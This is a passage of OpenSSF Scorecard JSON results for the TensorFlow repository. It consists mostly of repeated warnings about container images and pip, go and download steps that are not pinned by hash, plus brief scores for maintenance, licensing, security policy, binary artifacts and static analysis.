tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily 